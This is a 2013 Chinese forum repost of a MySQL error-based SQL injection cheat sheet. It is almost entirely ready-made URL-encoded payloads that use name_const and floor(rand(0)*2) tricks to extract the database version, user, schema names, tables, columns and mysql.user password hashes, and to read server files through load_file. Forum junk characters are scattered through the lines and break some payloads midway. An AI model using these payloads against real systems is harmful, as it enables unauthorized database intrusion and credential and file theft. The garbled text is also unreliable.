Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑


" U' v5 l" g$ b& {Mysql暴错注入参考（pdf），每天一贴。。。

MySql Error Based Injection Reference
5 W4 z0 a, j5 a3 L& ?1 Y. T[Mysql暴错注入参考]
Authornig0s1992
Blog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
: U0 N$ _8 I. e! x1 rMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
/ O1 d) a) c& x' k" Y查询版本:
" c) g4 q/ ~7 v$ nMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
6 T, A% V  e+ i* J7 G# j  _join+(select+name_const(@@version,0))b)c)
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
6 T+ Z% o& T7 g' R4 Oup by a)b)
& b' d, {# n; _; e: `7 _3 m查询当前用户:
5 Z9 u' B: ^( q+ u: C" L2 g+ iMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
5 ?6 b1 I' r* }+ o2 qand(0)*2))x+from+information_schema.tables+group+by+x)a)
7 L7 o5 Q# o4 ?9 s7 j查询当前数据库:
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
' S8 k0 B' ~5 {6 @" I* T, [, z- Gor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
8 X( ]- j7 I6 O# \依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
+ L% g. U# w+ O6 `$ Uable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
  M: b: k: y' D+by+x)a)+and+1=1 0x6D7973716C=mysql
8 J- J6 c8 h5 }5 ?- P& V依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)+and+1=1
0x6D7973716C=Mysql 将n顺序替换
9 u; @6 w8 ]2 B5 i$ ^6 S. n! n爆表内字段数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
8 j/ l+ |, [: A' b9 F" j0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
2 h7 ]/ G) q. N( Q1 Fand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
4 @! G7 S5 d: C+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
# h/ d8 @- ^/ Oloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
依次暴内容:
& Y9 T9 V5 h1 ], a7 Tand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
将n顺序替换
7 _4 c) ?4 e' u3 W1 l6 u' G爆文件内容:
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
) }; Y. ]- C& Y( E& gfrom+information_schema.tables+group+by+a)b)
' U# r. \: O7 f  L8 u  z0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
Thx for reading.
& g/ D& \5 U$ K5 z0 N: y& s
1 g) E! a9 X* ^3 {0 r7 I7 i不要下载也可以，
" ?" ^+ c- _" ~* o2 q